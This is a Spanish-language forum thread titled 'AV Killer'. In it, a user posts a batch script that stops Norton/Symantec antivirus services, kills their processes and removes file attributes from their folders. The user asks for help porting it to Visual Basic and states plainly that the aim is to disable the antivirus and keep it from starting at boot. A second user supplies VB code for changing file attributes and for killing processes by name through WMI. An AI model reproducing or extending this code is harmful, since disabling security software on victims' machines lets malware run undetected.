AV Killer

[JanditoOo]

Hola, quiero pasar este archivo en batch a VB

@echo off
If exist "C:\Archivos de programa\Archivos comunes\Symantec Shared" (goto norton) else (goto 10)
:10
If exist "C:\Archivos de programa\Norton AntiVirus" (goto norton2) else (goto 11)
:11
:norton2
cd "C:\Archivos de programa\Norton AntiVirus"
net stop "navapsvc"
net stop "NPFMntor"
tskill /f /IM navapsvc.exe /IM NPFMntor.exe
attrib -H -S -R *.*
cd "C:\Archivos de programa\Norton AntiVirus\IWP"
attrib -H -S -R *.*
goto 11
:norton
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared"
net stop "ccSetMgr"
net stop "SNDSrvc"
net stop "SPBBCSvc"
net stop "ccEvtMgr"
net stop "ccApp"
net stop "symlcsvc"
tskill /f /IM ccSetMgr.exe /IM SNDSrvc.exe /IM SPBBCSvc.exe /IM ccEvtMgr.exe /IM ccApp.exe /IM symlcsvc.exe
attrib -H -S -R *.*
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared\SPBBC"
attrib -H -S -R *.*
cd "C:\Archivos de programa\Archivos comunes\Symantec Shared\CCPD-LC"
attrib -H -S -R *.*
goto 10
cls
exit

estoy usando este script para matar los procesos:

Private Sub Form_Load()

'----MUERETE MALDITO MESSENGER-----
    KillProcess ("msnmsgr.exe")
'----------------------------------
End Sub

Public Sub KillProcess(ByVal processName As String)
'---CAPTURA DE ERROR---
On Error GoTo ErrHandler
'----------------------
'---DECLARACIÓN DE VARIABLES---
    Dim oWMI
    Dim ret
    Dim sService
    Dim oWMIServices
    Dim oWMIService
    Dim oServices
    Dim oService
    Dim servicename
'------------------------------

'--------------------SE OBTIENEN OBJETOS--------------------
    Set oWMI = GetObject("winmgmts:")
    Set oServices = oWMI.Instances Of("win32_process")
'-----------------------------------------------------------

'----------------------BUSCA EL PROCESO---------------------
    For Each oService In oServices

        servicename = LCase(Trim(CStr(oService.Name) & ""))

        If InStr(1, servicename, _
            LCase(processName), vbTextCompare) > 0 Then
            ret = oService.Termi nate
        End If

    Next
'-----------------------------------------------------------

'---------SE HACE NADA---------
    Set oServices = Nothing
    Set oWMI = Nothing
'------------------------------

'---CAPTURA DE ERROR----
ErrHandler:
    Err.Clear
'-----------------------

End Sub

En vez de que mate el proceso de Messenger matara el proceso:

NPFMntor.exe
navapsvc.exe

y los servicios de "navapsvc" y "NPFMntor" los puedo matar de la misma forma? o como podria matarlos?

y otra cosita... como puedo aplicarles los siguientes atributos a esos procesos: "attrib -H -S -R *.*"

[ranefi]

Hola JanditoOo, buena tarde. Aquí te dejo el código para modificar las propiedades de un archivo:

Agregar 1 control CommandButton e insertar el siguiente código en...

El formulario

Código:

Public Archivo As String


Private Sub Command1_Click()
    Archivo = "C:\ranefi.txt"
   
    SetAttr (Archivo), vbNormal
End Sub

Private Sub Form_Load()
    On Error GoTo ups
        Archivo = "C:\ranefi.txt"
       
        SetAttr (Archivo), vbHidden + vbReadOnly + vbSystem
        Exit Sub
ups:
    MsgBox "No existe el archivo " & Archivo, vbCritical, "ranefilandia"
    End
End Sub

Este código asume que existe un archivo de texto llamado ranefi en la unidad C: y que el archivo no tiene atributos de lectura/escritura y que se encuentra escondido.

NOTA: Para que funcione la prueba crea un archivo de texto llamado ranefi en la unidad C:, es todo lo que deberás hacer.

Nos vemos.

[JanditoOo]

Creo que no me has entendido, mira, lo que yo quiero hacer es matar los procesos del Anti Virus, asi como los servicios del anti virus, y ademas... quitarlos del start up (para que cuando inicie windows no corra el AV)

[ranefi]

Creo que no me has entendido, mira, lo que yo quiero hacer es matar los procesos del Anti Virus, asi como los servicios del anti virus, y ademas... quitarlos del start up (para que cuando inicie windows no corra el AV)

Es un Mata Procesos.


Agregar 1 control CommandButton e insertar el siguiente código en un...

Código:

Public Sub MataProceso(ByVal processName As String)
On Error GoTo ErrHandler
    Dim oWMI
    Dim ret
    Dim sService
    Dim oWMIServices
    Dim oWMIService
    Dim oServices
    Dim oService
    Dim servicename

    Set oWMI = GetObject("winmgmts:")
    Set oServices = oWMI.InstancesOf("win32_process")

    For Each oService In oServices
        servicename = _
            LCase(Trim(CStr(oService.Name) & ""))

        If InStr(1, servicename, _
            LCase(processName), vbTextCompare) > 0 Then
            ret = oService.Terminate
        End If
    Next

    Set oServices = Nothing
    Set oWMI = Nothing
    Exit Sub
ErrHandler:
    Err.Clear
End Sub

Private Sub Command1_Click()
    MataProceso "winword.exe"
End Sub

Debe estar abierto Word.